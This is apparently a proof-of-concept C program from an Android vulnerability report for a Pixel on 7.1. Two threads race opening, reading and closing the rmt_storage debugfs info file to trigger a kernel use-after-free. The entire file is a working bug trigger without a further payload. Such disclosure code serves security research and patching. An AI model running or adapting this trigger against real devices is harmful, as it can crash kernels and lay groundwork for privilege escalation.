/*
 * https://code.google.com/p/android/issues/detail?id=230833
 * The poc was tested in pixel, 
 * google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com, 20161224
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>

#define DEBUG                                               
#ifdef DEBUG                                             
#define LOG(fmt, ...) do { \
	printf("%s:%d: "fmt "\n", __FUNCTION__, \
			__LINE__, ##__VA_ARGS__); \
} while (0) 
#else
#define LOG(fmt, ...) 
#endif


char *infopath = "/sys/kernel/debug/rmt_storage/info";
char *infosymbol = "Client_name";
int fd1 = -1;
int fd2 = -1;

#define SIZE 2048 
void reg_read(int fd)
{
	int ret;
	char buf[SIZE] = {0};
	ret = read(fd, buf, SIZE);
	if(ret > 0) {
		LOG("[%d] succ read %s from fd %d\n",gettid(), buf, fd);
		if(strstr(buf, infosymbol) != NULL)
			LOG("pass! \n");
		else
			LOG("UAF trigger!!!! \n");
	} 
}

void ReadThread1(void) {
	int i;
	while (1) {
		fd1 = open(infopath, O_RDWR);
		if(fd1 > 0) {
			//LOG("[%d] fd1 %d, fd2 %d\n",gettid(), fd1, fd2);
			if(fd2 > 0) {
				LOG("[%d] race open occurs, begin trigger uaf\n", gettid());
				for(i = 0; i < 100; i++) { // try 100 times
					reg_read(fd1);
				}
				sleep(2);
			}
			close(fd1);
			fd1 = -1;
		}
		sleep(0.1);
	}
}

void ReadThread2(void) {
	int i;
	while(1) { 
		fd2 = open(infopath, O_RDWR);
		if(fd2 > 0) {
			//LOG("[%d] fd1 %d, fd2 %d\n",gettid(), fd1, fd2);
			if(fd1 > 0) {
				LOG("[%d] race open occurs, begin trigger uaf\n", gettid());
				for(i = 0; i < 100; i++) { // try 100 times
					close(fd2);
				}
				sleep(2);
			} 
			close(fd2);
			fd2 = -1;
		} 
		sleep(0.1);
	}
}


void trigger()
{
	int i, ret;
	pthread_t tid_read_a;
	pthread_t tid_read_b;

	ret = pthread_create((pthread_t *) &tid_read_a, NULL, (void *) ReadThread1, NULL);
	ret = pthread_create((pthread_t *) &tid_read_b, NULL, (void *) ReadThread2, NULL);

	i = 200;
	do {
		sleep(1);
	} while(i-- > 0);

	pthread_join(tid_read_a, NULL);
	pthread_join(tid_read_b, NULL);
}

	int
main(int argc, char *argv[])
{
	trigger();
	return 0;
}
